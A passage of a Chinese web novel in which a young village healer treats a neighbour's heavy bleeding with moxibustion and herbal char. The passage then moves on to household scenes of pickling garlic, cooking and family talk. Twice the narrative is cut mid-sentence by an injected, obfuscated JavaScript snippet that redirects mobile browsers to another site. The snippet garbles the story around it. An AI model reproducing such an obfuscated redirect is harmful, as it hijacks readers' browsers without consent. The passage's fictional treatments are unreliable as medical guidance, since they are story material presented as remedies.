原耕耘沉吟片刻,“架子上有巾子,你擦擦,我去喊人。” 向园睡得正沉,迷迷糊糊听原耕耘说完,一下子惊醒,“怎么会这样?” 她弹坐起来,手忙脚乱往身上套衣裳,她看原耕耘衣衫是完整的,就道:“耕耘哥哥,先前我煅的棕榈皮炭和侧柏叶在堂屋小柜子里,你去拿一下。还有艾条也拿一些。” 原耕耘应声而去,周满仓在外头站着,“怎么样,九哥?向娘子是不是能治?” 原耕耘摇头,“没见到病患,谁也说不好能不能治,我先去取药,过去看看才知道。” 周满仓:“……” 吓死他了,他还以为没治了呢。 他抱着药箱打头跑,原耕耘跟樊云英交代一声,背着向园跟在他后头。 几人匆匆赶到黄家时,院子里已围了不少人,都挤在黄母周围,七嘴八舌地说些不关紧的闲话,乱哄哄一片。 瞧见他们几个来,院子里陡然一静,随后便炸开了锅。 “嘿,还真来了!” “九郎糊涂啊,如今向丫头都是他媳妇儿了,怎么也不知道管管。” 原耕耘挑了挑眉,偏头瞧瞧向园,低声道:“量力而为就是,别有太大压力,也不用管他们说什么。若实在没法子,出来找我便是,我就在这儿候着。” 向园抿唇点点头,拨开喧嚷的人群,率先走进院子。 “向丫头,大平家的得的那种病,怕是不成了,你个刚出门子的小闺女,掺和这个作甚,没得沾了晦气。”一妇人皱眉劝道,她虽和黄家走得近,早些年也受过向大夫的恩惠,此时劝一句,便是情分了。 “林家的,你真是咸吃萝卜淡操心!”立马有一道声音出来,拔得高高的,生怕人听不见。 林家的住了声,这声音便像是得了势,拱火道:“人家可是大夫家的丫头,要行善积德的,说不得一抖手就给救回来了呢,轮得着你在这儿充长辈?” “嘿,这行医妙手又不是别的,爹有的,还能传给闺女?小孩子家胡闹,真把她请来了,我看她下不来台的时候,脸要往哪儿搁?” 黄母更是丢来一个冷眼,“原家的,我劝你掂掂自个儿的斤两,这可不是你家,什么事儿你都能插得上手的,治坏了,我们黄家跟你没完,治不坏,你也是白费力气,这大夫不是我请的,我这儿也没得诊费药钱给你!” 真是一群站着说话不腰疼的! 向园很不喜欢她们的语气,好像她们一辈子都没病没灾,用不上大夫似的。 “看来婶子们都身体康健,百病不侵呀。”向园环视一圈,缓缓道。 大家都没明白这话是什么意思,但听着像是祝福话,也就没人反驳。 向园偏头瞧瞧黄母,又道:“黄嫂子尤其要保重好身体,不只你,你们一家人都得保重身体。” 黄母愣了下,防备道:“你什么意思?” 怎么听着像是要扎小人害她似的。 向园轻笑,“您这样讳疾忌医,可不就得保重身体吗?不然你这样说,要是传出去,以后哪个大夫敢来给你们看病啊,不都得担着被你讹诈的风险!” 她话刚落,便听得屋里传来一声怒吼,“金宝他娘,还嫌不够丢人!” 这声音……是黄穗平他爹? 没看出来本事不大人还挺凶呢! 向园腹诽一句,对众人道:“劳婶子、嫂子们换个地方说闲话,病患需要安静的环境,你们少吵嚷两句,就是积德行善了。” 她还没看过病人情况,说完这一句,也不管她们还要议论什么,匆匆交代原耕耘先把棕榈炭和焙过的侧柏叶研末,就穿过众人往东边屋里去。 正碰上黄穗平急匆匆走出来,他眼眶通红,声线沙哑:“向娘子,有劳向娘子先看看我家娘子,他是我媳妇儿,别人说的不算,只要能治,我为奴为仆也没有二话。” 向园点头,径直往屋里去。 周婶子和杨可真都在屋里,苗秋枳躺在床上,面如金纸,额头冷汗涔涔,眼皮恹恹搭着,好似随时都要晕过去。 周婶子瞧见向园进来,急迎两步,“向丫头,你可来了!你快来瞧瞧!” 听见声音,苗秋枳睁开眼皮瞧了瞧,浅浅露出个笑,没有一点说话的力气。 杨可真也慌得很,急忙在床头给向园腾了个位置。 她们一早被黄穗安找来,进屋就看见苗秋枳抱着肚子蜷在床上,只有进的气,没有出的气。 屋里除了黄穗平,一个人也没有。 小姑子没出门子不好照顾就不说,你当婆婆的是死了、瘫了还是瞎了,就由着儿媳妇血流不止,既不说请大夫瞧瞧,自己也不肯进来看一眼? 婆媳俩气归气,心里也明白,黄家兄弟请她们来,恐怕也是没别的法子了。 但周婶子也只是生过孩子,就是小产也没这样严重的时候,哪里知道该怎么办,只能让煮些红糖水喝喝,补补气血。 谁知就是糖水,黄婆子也不让喝的,说是人不行了别糟蹋东西。 杨可真直想指着这老虔婆的鼻子骂。 到底黄穗宁还有几分眼色,主动端了红糖罐子出来。 可苗秋枳的血止不住,喝再多糖水也白搭。黄穗安去草市桥请大夫还要时间才能回来,周婶子跟杨可真也没法子,这才想起向园来。 向园一到,两人就跟找到了主心骨似的,她们都不敢想,要是晨起黄穗安没去找她们,苗秋枳会怎么样。黄婆子真是造孽啊。 向园顾不上说话,先走近瞧苗秋枳。 血还在流,恐怕是血崩,至于是崩漏下血还是小产血不止都还说不好。 止血要紧,向园不敢耽误,开了药箱,点燃艾条隔姜灸隐白、三阴交,等周婶子和杨可真看出门道来,让她们继续灸,向园又取关元、气海、神阙三穴同灸,同时开始问话。 “月事在哪几日?是突然就开始流血的?之前有什么症状和预兆?” 前天向园才见过苗秋枳,那时她气色不错,眼睛也有神,除了人过分瘦弱外,精神看着还好,不像是积下大病的样子,怎么可能突然得这急病。 苗秋枳气若游丝,跟在向园身后进来的黄穗平回忆一下,道:“上个月也是这个时候,那时她只是肚子疼,手脚冰凉,不像这回这样,突然就开始流血,止都止不住。” 向园一愣,“她这样的情况,是什么时间开始的?” 黄穗平垂下眼,“昨天后半夜,大概寅末卯初。昨个儿她看棚子回来,有些累,又挨了我娘一顿吵,进门的时候,叫、叫绊了一下,摔在地上……” 向园板着脸,“摔到哪里?你确定当时没有出血?如果不知道就说不知道,这一点对我很重要,我要斟酌用药。” “侧着摔在地上了,当时没有出血,我媳妇儿说没事……”黄穗平声音渐渐低下去,最后几个字几不可闻。 向园心中冷哼,她说没事你就当没事啊! “然后呢?” “我们戌时歇下的,刚睡的时候,她只说有些不舒服……流血是半夜开始的,那会儿她有些神志不清,我喊不醒她,以为是月事,后来觉得不对劲,血流得太多太急,我就让二平去喊周婶子。” 向园点头,“我学的有限,只能先试着帮她止血,等大夫来了再看看用什么方子。你出去看九哥的药研好没,研好的话拿进来,顺便拿米酒来。” 黄穗平点点头,低头瞧着苗秋枳,面色悲戚。 向园在一边朝黄穗平瞪眼睛,“还不快去!” 黄穗平这才回过神来,“我这就去!秋枳,你……” 苗秋枳面色惨白,眼睛紧紧闭着,不肯看他一眼。 黄穗平愁眉苦脸出了门。 向园这才上前去,又仔细给苗秋枳检查一遍身体。 她还在流血,不过看着不像之前那样严重。 艾灸是有效的,向园松了口气。 苗秋枳此时方看过来,“园园,要是……小产,把脉能看出来吗?” 短短一句话,她说了好几息才说完。 周婶子和杨可真闻言都是一愣。 苗秋枳流了不少血,但黄穗平一个人,来不及清理,她们过来的时候是看过的。那里头虽然没有大的血疙瘩,却有不少血碎,这样的情况,还有可能不是小产吗? 向园也挺诧异,她来之前想过可能是小产,但来看过苗秋枳又把过脉之后就没往那方面想了,难不成是她想岔了? “你们上次交感是什么时候?呃,就是行房。”她问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757689|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苗秋枳微微摇头。 向园摸不准这是没有还是她不好意思说,她换个问题,“近三个月月事都正常吗?” 苗秋枳点头。 向园想不通,她刚刚把过脉,只是她把脉才刚摸着门道,不一定准,她心里也有几分忐忑。 难道真的是怀孕小产?是不是她忽略了什么?如果月份特别小,还不满一个月的话,也不是不可能。 想着,向园又搭上苗秋枳的手腕,仔细感受。 良久,她才斟酌着道:“脉象濡细迟滞,是气血两虚之兆,再结合你的症状来看,应该是经期崩漏的可能性大些。” 苗秋枳露出个苦涩的笑,微微点头道:“多谢你,多谢你们,今天多亏你们在,否则……” 周婶子和杨可真对视一眼,周婶子宽慰道:“说这些做什么,你好好歇着,把身子养好要紧。” 杨可真则想不通,“园园,秋枳这真不是小产啊?” 向园很奇怪,“你们为什么觉得是小产?” “有血块啊,还流这么多血。”杨可真也说不明白。 不只她说不明白,生了几个孩子的周婶子也说不明白,只是单纯觉得月事不可能流这么多血,这样大量出血的,她们都说是小产。 有血块就是流了,没血块就是孩子还没流出来,流出来的血块小就是孩子月份小,这几乎是村中妇人对于大出血的共识。 向园一会儿觉得匪夷所思,一会儿又觉得是不是自己医术不够高明,可能真的是小产,只是她没诊出来? 她想着,心里七上八下的,同她们解释,“之前两个月没有停经的话,是崩漏的可能性大些。血气不通,经血里有血碎是正常的,再加上秋枳摔过一跤,排出来血块更像是瘀血。” 她又宽慰苗秋枳,“我现在做这些主要为了止血,无论是哪种原因,这几个穴位都是对症的。等会儿大夫来了,让他给你好好瞧瞧,再开方子。不管怎么说,出血不止对身体损伤很大,你得好好调养身体,等调养好身体再怀孩子,对你对孩子都好。” 苗秋枳摇摇头,苦笑道:“园园,如果我坚持说是小产,大夫可能会相信吗?” 向园皱眉,她这样说,难道黄穗平之前回的话都是骗人的,其实他根本不知道? 她神色严肃起来,板着脸问:“秋枳,这不是小事,病因不同,治疗方式和用药也不同,现在我再问一遍,便是为了自己的命,你也一定要如实回答。” 向园话未说完,苗秋枳就强撑着握住她手,打断她。 她像是不知道该怎么说,嗫嚅良久才道:“不是,不是,我知道我没怀孕,我是想,我是想若是流了孩子,是不是就能离了这里。” 她说着,泪不自觉涌出,“这不是我自己摔的,是、是黄穗宁。孔氏看不惯我去蓼河边看棚子,有钱挣,她门母女两个想把我踢出去,自己拿这份工钱,这才起了争执……” 周婶子倒吸一口凉气。 杨可真也义愤填膺,“真是大蝎子生小蝎子,母女俩毒到一起了!” 孔氏是黄穗平的娘,黄穗宁是黄穗平的妹妹。 苗秋枳这样称呼她们,可见心里有多恨。 她们也确实够毒。 周婶子和杨可真瞬间明白苗秋枳的意思。 经期血流不止,婆家可以一推二五六,说是她自己身体不好,心思坏些的,直接拿这个败坏儿媳妇的名声,为人妇为人媳的也没处说理。 可孕期小产,还是因着被婆母刁难,叫小姑子绊的,这要是传出去,黄家这辈子都别想抬头做人了,黄穗宁估计也难寻到好婆家。 怪不得黄穗平那会儿顿了一下,原来是这样! 不过她们都不知道会有经期血崩的情况,就是先前外头聚的那起子人,也都以为她是小产了。 向园不明白里头的道道,但明白苗秋枳不想跟他们待在一起的心,只是还是不大赞同。 “秋枳,你要离开这儿,首先得有个好身体。还是刚刚那句话,病因不同,治疗方式和用药也不同,现在最要紧的,就是告诉大夫你的真实情况,否则只会影响大夫的判断,一旦药不对症,耽误的可能就是你的命。 “至于大夫说的什么,外头又没有人扒门缝上偷听,你该怎么说就怎么说,难道他们还去找大夫对质不成?关键是……” 向园凑到近处,压低声音道:“关键是黄穗平知道你的小日子啊,你得先把他摆平,可别让他关键时候拆台子。” 不是故意偷听但恰巧站门外而且耳朵太灵的周满仓脸皱成一团,真是活了大该了,怎么偏偏叫他听到这么关紧的事儿。 他赶忙往后撤,决定接下来一段时间都当聋子和哑巴。 可是关键是什么啊,怎么说话还带说半截儿的,难受死他了。 76. 第 76 章 棕榈炭散服下后不久,黄穗安终于把大夫请来了。 大夫看过苗秋枳面色,舌苔和指甲,又切过脉,退到门口,捋着胡子沉吟不语。 黄穗平心中不安,“大夫,我娘子怎么样了?” 向园也非常担心,大夫不说话,她很害怕自己用错药,再害了苗秋枳。 她目不转睛盯着大夫看,却见大夫突然端起桌上的碗嗅了嗅,问:“你给她用了棕榈炭散?” 向园点头,神色不由忐忑,“那会儿出血有些严重,我就取隐白、三阴交、关元、气海、神阙五穴,施以艾灸,又给她服用了棕榈炭散。” “灸了几壮?” “五壮,每壮约半刻。”向园把艾灸条递给大夫瞧了瞧。 大夫接过来,看了看又嗅了嗅,“改灸隐白、大敦各十五壮。” 向园眼睛一亮,马上跑进去换位置。 隐白、大敦均属井穴,井穴主心下满,灸井穴可快速激发经气,固脱止崩。 她之前怎么都没想到这个呢,果然见识短浅。 大夫见她明白,满意颔首,开始问诊。 向园全程听着,目光中钦佩越来越深,看了大夫望闻问切,她才知道自己之前多粗糙多马虎。 大夫先是问了外伤、月事、生育、行房等情况,又问出血特点和伴随症状,以及苗秋枳过往的身体状况,全部斟酌完才开了一副举元煎。 “棕榈炭散继续用,举元煎每日一剂,连喝三剂,血止住后,可调整为两日一剂。” 大夫写了方子交给黄穗平,这才有工夫跟向园解释:“隐白为脾经井穴,艾灸可升提脾阳以摄血。三阴交为肝脾肾三经交会处,可调和气血。关元、气海、神阙三穴温补下焦元气,固摄冲任。你这穴位选的不错,尤其适合她这气血双亏外加淤血的崩漏,后期调理用很好。不过她这急症,可优先灸隐白、大敦各十五壮,一来急止血,二来两穴位置相近,即便没有帮手也可随时完成。” 向园连连点头,“多谢谢大夫指点,向园受教,我下次一定记得。” 她环视一圈,见黄穗平拿着方子出去了,屋里除他们几个外再无别人,才跟谢大夫询问,“谢大夫,我有个问题,就是怎么判断是经期崩漏还是小产血崩啊?” 谢大夫说的话他们都没听懂,但向园懂了,他确诊是经期崩漏。 谢大夫捋捋胡子,不答反问,“你当时是怎么判断的?又是如何做出这样的判断?” 向园皱皱眉头,“我觉得是经期崩漏。因为患者月事正常,出血时间与经期吻合,而且血量多而色淡,另外患者脉细弱,舌淡苔薄,更像是血崩之兆。” “凭经验和直觉对不对?” 向园点头。 谢大夫颔首沉吟片刻,投来一个赞许的眼神,“这就不错,你看过几个病人?” 向园不好说,她以前可没少给门口的阿公阿婆们看病开方,但是他们知道的比她可多得多,她说的话都不管用。 “看过一些,只是看看,他们不让我治,这是我治的第一个。” “很不错!像是你这个问题,其实大多数病患都很好分辨,今天这个是特例,你有七成把握,大概就不会错。” 向园觉得很迷糊,难道不需要十成把握才不会出错么,七成会不会太低? 她没说出口,可眼睛里却是实打实的困惑,谢大夫失笑,“那三成把握得靠你慢慢积累,你看的病人越多,经验就越多,把握也越大。” 向园明白了,“谢谢谢大夫!您真是个大好人!” 谢大夫被她这直白的夸奖呛得咳了两声,那头儿黄穗安已经凑够钱要去抓药,顺便送大夫回去。 他忙不迭起身离去,向园隔着一道窗跟他打招呼:“谢大夫慢走,回头我有问题还去请教您啊,还望您不吝赐教!” “好说好说,小向大夫留步!”谢大夫摆摆手,匆匆出了院门。 黄穗安抓药回来,艾灸也做完了,不知道是什么起了作用,苗秋枳的状况好转不少。 看他们把药煎上,向园和原耕耘也不多留,就要离开 黄穗平送他们出去,“向大夫,今日多谢您,感激的话我也不会说,以后有用得上我的地方,您只管招呼,若有二话我黄穗平不配为人!” 他说着,有些窘迫地低下头,“医药费能不能先劳您记下,我、我有钱一定尽早还上。” 向园摆摆手,板着脸道:“我们向家有规矩,每行一处,前三个病患不收诊费。你娘子是我接诊的第一个病患,她又是我的朋友,这次的药钱我也不收了,只希望她以后健健康康、平平安安,除了喜脉,再也没有能用到我这个大夫的地方。” 似是没料到她会这么说,黄穗平一愣,眼眶不自觉红了一圈,他看向错开一步,立在向园身后的原耕耘,似是不知道说什么好。 原耕耘微微颔首,“我们向家确实有这个规矩。” 说着,他揪过向园的荷包,掏了一粒碎银,塞到黄穗平手上,“这是苗娘子的工钱,让她好好养病吧,棚子那边我再找人。” 向园二人走出很远,黄穗平也没回过神来,直到黄穗安喊他,“大哥,你发什么愣,药好了。” “来了!”黄穗平晃晃脑袋,脚步匆匆进了院子。 刚刚一定是他过于担心秋枳,精神恍惚听错了。 原耕耘做事向来善始善终,把向园背来的,自然要把向园背回去。 走出村落一段距离后,他半蹲到向园前头,示意她上来。 “不用啦,耕耘哥哥,我一点也不累。” “相公就是你不累也要背你的人,来!” 向园只好趴上去,“耕耘哥哥,你听到了没,他们喊我向大夫诶!” 谢大夫喊她小向大夫的时候,她差点就没忍住,这会儿终于可以无所顾忌地笑了。 之前不敢笑,是因为没有这样不深沉的大夫。 “听到了,向大夫!你真厉害!”夸过之后,原耕耘扭头问她,“没有害怕吧?” “还是有一点的。”向园叹了口气,“你不知道,我调药那会儿都在害怕,担心我诊错了,药不对症,再害了她,还好谢大夫来得及时,也幸亏她这个症状明显,换成别的,我肯定就不敢这么大胆了。” 虽然向园说有一点,但原耕耘听出来,肯定不只一点,不过她也生了勇气,不然不会跟黄穗平说那些话。 没错,向家人每行一处,前三个病患不收诊费的规矩是向园刚定下的,毕竟前几任向大夫根本不会管什么诊费不诊费的,他们医术精湛,有钱没钱,有病就治,才不管是第几个。 “以后我在家,就给你当小药童,你走哪我跟哪。”原耕耘道。 “嗯嗯,耕耘哥哥,你真好!”向园趴在他肩头, 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这两人都很利落,甚至都很精明,可跟她们相处,向园觉得舒服,不用时时设防,也不用担心被坑。 “你这样想就对了!”原耕耘耳朵蹭蹭她的头发,“物以类聚,人以群分,你看今天院里那些人,你看见她们第一眼,有觉得哪个很和善吗?” 向园摇头,“屋里还有病人呢,她们一点也不顾及,我觉得这样不好。” “是啊,你看咱们在村子里走这么多次,看起来好多人都跟黄家处得不错吧,可真正遇到事儿,却是看热闹的人多,帮忙的人少。这个时候,黄穗平都指望不上他娘和他妹妹,甚至要喊周婶子、周二嫂还有你来帮忙,这就足够看出问题了。” 向园恍然大悟,“我就说不对劲,你这样说,我就明白了,他们家的热闹都是虚热闹假热闹。” 原耕耘点头,“其实周家兄弟之前不大看得上黄家兄弟,连带周二嫂,也不怎么和苗氏往来,我起初也不大明白,直到前天摘桑葚,我才突然想通。” 向园很好奇,“你想通什么了?” “周家兄弟不是看不上黄家兄弟,周二嫂也不是看不上苗氏,他们是看不惯黄家的做派,也不想跟黄家人有太多牵扯。 “黄家看着热热闹闹,在村里人缘好,实际上不管谁沾上他们家,只有吃亏的,少有占便宜的。慢慢的,也就是嘴上说他们好的人多,心里觉得他们好的人少。 “周家一家人都比较直白,不会藏心思,心里看不上黄家,自然也就对黄穗平兄弟俩表现得不热络了。 “你不知道,先前我们在山上,周满仓就跟坏蛋似的,老是给黄穗安使绊子,要么就是阴阳怪气地说话。黄穗安也恼,不过都是无关紧要的小事,能忍的他都忍了。” 向园很震惊,“周满仓还会阴阳怪气啊?” 原耕耘:“……” 好像确实不会,难道是他想多了? 向园:“那你怎么还找了黄穗安?” 原耕耘:“不是我找他的,是村里好些年轻人见周家兄弟俩跟着我打猎,时不时能吃上肉,就来找我,说想跟着一起去。我就带他们上山试试身手,好几个人,也只有黄穗安适应得挺好,身手也不错,后来我们就带他一起了。” 两人说着话,慢慢往家走。 77. 第 77 章 雨没个停歇的时候,但老天爷很有眼色,夜里下,白天止。 不少农人都笑开了眼。 田水充足,今年肯定能有个好收成。 黄家一团乱,黄穗平黄穗安兄弟俩走不开,原耕耘的杉木小队少了两个人,做活就不如先前方便。 又接连不断下雨,原耕耘干脆跟几人商量,等天气好些再上去,这段时间他就在家帮忙熬文武膏。 有他在,樊云英和向园轻松很多,熬膏的速度也快了不少。 向园把医庐的大铁锅也收拾出来,两边同时开火,她除了每日去瞧瞧苗秋枳外,剩下的时间都呆在炉灶前,一边看火,一边学习。 过了四五天工夫,桑林里熟透的桑葚都快摘完熬完了,苗秋枳那头也好了不少,血彻底止住,只是身子还很虚弱。 向园和杨可真商量着去探望过她一回,给她送了些桑葚膏、红糖、鸡蛋等物,让她好好调养身体。 接连下雨,地上有些泥泞,不好赶车,向园也就不急着去医馆送膏,等天晴了,路彻底干了再走。 这个时候地里的蒜该收了。 蒜是去年秋天种下的,长了大半年工夫,结出的蒜头硕大饱满,比春季播种的产量高很多。 地里泥淖淖的,一踩一个坑,原耕耘进去薅蒜,樊云英和向园就在琴房前头的晒场上,等他薅够一捆了,接过来弄掉泥巴,编成蒜辫。 这边不少人家都是直接剁掉蒜叶晾的,但向园曾听邻居阿婆说过,在他们北方,都是带着蒜秆编成辫子挂在屋檐下阴干的,这样能好存放,放很久蒜骨朵也不会蔫巴。 当然这也有北方干燥的原因,他们这里多雨,要想存得久,还得找个阴凉、通风干燥的地方挂起来来晾。 向园早找好地方了,就是琴房的后墙。那里一天大部分时候都背光,又靠近北边竹林,凉风习习,温度正好。 地湿,蒜还算好薅,表面附着的泥土不多,大部分薅出来就露出光溜溜的紫皮,不用怎么清理,只有少部分沾了点红壤,但是很疏松,撕掉一片茎秆一擦就擦干净了。 蒜辫子也好编,原耕耘一个人薅赶不上婆媳两个清理编辫。 等的工夫,向园闲不住,干脆就剥起蒜瓣来。 新挖出来的蒜味道清淡,辛辣感不重,吃起来清爽解腻又脆生,腌成糖蒜或腊八蒜就是佐餐的好菜。 而且还好剥,向园拿刀把蒜根部的硬块一切,掰开蒜骨朵,随便撕两下,就得到一个白生生的蒜瓣。 她本来想着趁空剥一些晌午炒菜用,剥着剥着反倒剥出趣儿来了,“娘,我去拿个盆来,咱们多剥一些,腌腊八蒜吃吧。” “腊八蒜?”樊云英挺好奇,“腊八蒜是什么?听着不用等腊八再腌?还是现在腌上,等腊八才能吃?” 向园摇头,“我也不知道为什么叫腊八蒜,是以前我们家后院的阿婆教我的,说是腊月腌的最好,因为那时候温度合适。再有就是新蒜下来的时候,只要把握好温度还有糖醋配比,腌出来的比腊月腌的好吃,还脆生。” 樊云英也感兴趣,“那咱们就腌一点试试?就是这时候天太热,能腌成吗?” 向园拍拍手上的泥土,“放心吧娘,能腌成。我前年就腌过,放到井里温度就差不多了。” 她说着就跑去灶棚底下拿盆。 等会她就试试,要是井里温度不行,就让耕耘哥哥带到山上去,小院边上的山泉附近,随便找个背阴的地方,温度就差不多了。 她以前也是腌好就藏到山上去,只要密封好罐子,周边做好防护,别让蛇虫百豸光顾,就万无一失了。 两人剥了满满一盆蒜瓣,向园估摸够腌两小罐了,就在井边清洗干净,倒在笸箩上晾干,腌蒜也不能沾水汽。 向园剥蒜的时候就想,既是腌菜,只腌这一样太过单调,这边把蒜头晾上,她就擓着篮子去那院菜园里摘菜。 菜地早几日就开始结蔬菜了,正好供得上他们吃。 这几天连着下了几阵雨,菜猛地就多了起来,向园不打算腌太多,先腌一坛泡辣椒、一坛酸豆角,腌两个月就能吃了。 后头菜只会越结越多,到时候吃不完就晒上,等到秋初,再多腌几坛酸菜泡菜,放到冬天吃。 她计划得很好,在这些事上比樊云英还要麻溜一点,樊云英看着也跟着学。 “园园,还是你会过日子。”她赞叹道。 樊云英想想前头几年,觉得自己确实过于粗疏了,连带着对原耕耘都是放养的状态。 她幼年父母双亡,但爹娘在的时候,确确实实没吃过什么苦。她爹是秀才,每月有供养,即便过得不宽裕,也足够他们三口过活。 后来跟着外婆,两个人勤做针线,就靠这个换些米粮糊口,农事是半点不通的。至于家务,只能说会,不能说精通。 再后来又嫁给原耕耘他爹,受委屈憋气是真的,但吃穿用度不差,日常活计都有仆役来做,她从没操过心。 直到原耕耘他爹去了,他们娘儿俩才过上真正意义上的苦日子。她也是那时候开始学着下厨炊爨,实在没天分,娘儿俩只能混个饱肚儿。 连喂鸡喂鸭养猪种菜都是分出来后,她现跟着村里人学的。 如今她都二嫁了,也是时候多学学过日子的门道了,总不能一辈子都指着别人过活。 这些日子看向园日子过得有条理,樊云英早已心生佩服,这会儿更是要以她为师,向园做什么她都要请教,要跟着学。 向园喜欢做这些事,也很愿意跟她说,婆媳两个说着话、做着活其乐融融。 原耕耘薅完蒜出来,面色不虞。 向园关心地问:“耕耘哥哥,你怎么了?” 原耕耘摇摇头,“没事儿。” 他接过向园手里的蒜辫子往钩子上挂。 向园觉得他不像是没事儿的样子,但他不想说,她就不再问,洗洗手脸,跟樊云英一起去做晌午饭。 刚刚摘菜的时候,向园顺便把晌午要吃的菜也摘了。 紫茄子四月中旬刚开始结果,向园每天都去看,今天瞧见有几个长得比手臂还长了,她马上揪掉,晌午焖茄子吃。 她还特地数了数,一共种了五溜茄子,三排紫茄,两排青茄。紫茄有三十来个大果,过两天就能摘。青茄才刚冒出小果,等它长大成熟还得要十天半月工夫。 向园估摸着,后天或者大后天,紫茄子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784195|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够摘一批的,她就全部摘下来,配着青椒包包子吃。 原耕耘盼这个好久了。 向园今天顺便腌了酸豆角,也是因为原耕耘对酸豆角包子同样期待。 茄子干炒很吸油,家里油多,向园也不喜欢一餐就用一大勺油的做法,太浪费了。她把茄子切成斜四方块,撒了点盐腌上,等会儿下油锅炒之前拧干水分就行。 趁着腌茄子的空当,还可以把姜蒜末拍好,小葱切碎,辣椒切块备用。 单一个焖茄子不够吃,向园又拍了个黄瓜,和荆芥拌上,清爽又解腻,他们一家人都爱吃。 这会儿工夫,装茄子的盆里已经杀出很多水,向园看着差不多了,大锅里的米饭也快蒸熟,她往茄子盆里添了些水,冲洗顺便挤掉水分,就可以下油锅炒了。 葱姜蒜末爆香,下茄子翻炒两下。为防干锅,向园调了一点淀粉水,还捣碎一个番茄,等下了细盐、酱油、香醋。 番茄顺着锅边倒进去,随着刺啦的声响,酸香的味道爆出,顺着四面透风的灶棚往外弥漫。 向园翻搅两下,觉得汁水够浓也够多,加不加淀粉水都行。她索性把碗放到一边,淀粉水等做夕食再用。 茄子快熟的时候,向园把青椒倒进去,翻炒均匀,让樊云英改烧小火,盖上锅盖焖一会儿,菜就熟了。 还剩一点葱末,出锅的时候撒进去,作为点缀。 蒸的大米饭配上软糯的焖茄子和清爽的拌黄瓜,又煮了一个青菜汤,向园和樊云英都多吃了半碗饭。 茄子很嫩,向园切的时候没有去皮,炒的时候油放得少,但她有意把皮朝下煎了煎,煎出来的茄子皮皱皱的,紫色上呈现一点焦黄色,格外诱人。 吃起来不硬,口感还韧韧的,独有风味,特别下饭。 要不是向园提前给一二三留了饭菜出来,只怕晌午它们又要吃生鸡蛋拌饭了。 到晚间,向园才问出来原耕耘为什么脸色不好。 “你说娘是笨蛋?”向园眼都直了,不敢相信这是孝顺的耕耘哥哥说出来的话。 “我可没说!”原耕耘戳戳她鼓胀的脸颊,向园嘴巴瘪下去,圆脸蛋变成鹅蛋脸。 “我是说一门心思为男人着想的女人都不聪明!”他又道。 向园歪着头想了一会儿,“不对,你刚刚不是这么说的,你说只有笨蛋才会处处体贴男人,可这跟娘又有什么关系?” 樊云英是挺体贴谷敬的,但是跟寻常人家妻子体贴丈夫也没差多少,反正谷敬对她也好,所以向园觉得这种体贴很正常。 毕竟她体贴耕耘哥哥也是因为耕耘哥哥对她很好嘛,要是耕耘哥哥对她很坏或者很凶,她肯定就不会体贴他了。 想到这儿,向园觉出不对劲,“你是不是觉得我也是笨蛋?” 原耕耘:是有点笨没错,但是…… “怎么可能,我早上还夸你聪明。” “明明我夸你聪明的次数比较多。” “我以后每天都夸你。” 向园还要说什么,原耕耘捏住她的嘴巴,“好了,我们说正事儿。” 向园点点头,“你为什么觉得娘一门心思为谷叔着想就是笨蛋啊。” 78. 第 78 章 为什么呢? 原耕耘反问:“你觉得娘再嫁这个决定对吗?” 向园懒懒靠在枕头上,“我不知道,不过如果我处在娘这个情境,我肯定不会再嫁。” “为什么?”原耕耘侧着躺下,左手支着脑袋,右手摇着扇子给两人扇风。 向园翻个身面对他,揪着他的衣带绕来绕去,“你想啊,娘前半生吃了那么多苦,好不容易把你养活大,眼看就要享福了,她再嫁的话,岂不是又要遭一遍罪。” 哪怕樊云英觉得自己没吃过太多生活的苦,可向园不这么觉得,单是嫁个比自己大几十岁的男人这一点,就够让人一辈子难受的了。 她道:“如果找个有孩子的,那夫妻俩半路结缘,难得一心。找个没孩子的,那人肯定还希望娘能为他生儿育女,这就是一大难了。 “孩子生下来又不能不管,你瞧瞧哪户人家里,不是娘管得多,爹管得少,抚养孩子长大又得费一番心血。 “还有,万一运气不好,遇上个好吃懒做还好享受的,事事都要等媳妇儿伺候,为人再铁石心肠一点,动辄打骂的,那嫁过去不是找罪受吗?” “哼!”原耕耘气地鼻子出气,“你瞧瞧,你都明白的道理,偏偏娘就想不通。她三十好几的人,带着我的时候都不曾想着学学手艺,如今嫁给谷叔,倒替他操起心来,她这会儿体贴,等人家习惯了,她一步做不到就是她的不是。” 向园很理解,心疼别人就是自己受累的开始,“那你当初怎么不反对?” 原耕耘吐口气,“我反对有用吗?她一心要嫁,我跟她说要吃什么苦受什么罪,她都说我没经过,不懂事,说她情愿吃这个苦。我知道,其实她早就想离了原家过日子,不过是念着我那时年幼才多留这些年。” 向园想不通,她觉得樊云英不是那种不通透的人。 她想了又想,突然想到一种可能,只是这话不好跟原耕耘明说。 原耕耘虽怄气,也时刻瞧着她,立马就发现她的异常,鼓着脸偏头问她:“你想说什么?” 向园深吸一口气,“我要是说了,你不许生气。” 原耕耘捏捏她的头发包,“除了你不搭理我,不念叨我,我什么时候生过你的气?快说!” 向园拉他躺平,趴在他耳朵边嘀咕:“你说,娘是不是在赌气啊?” 原耕耘不明所以,“赌什么气?跟谁赌气?” 向园觉得他笨,“就跟你爹……跟原伯伯赌气啊。” 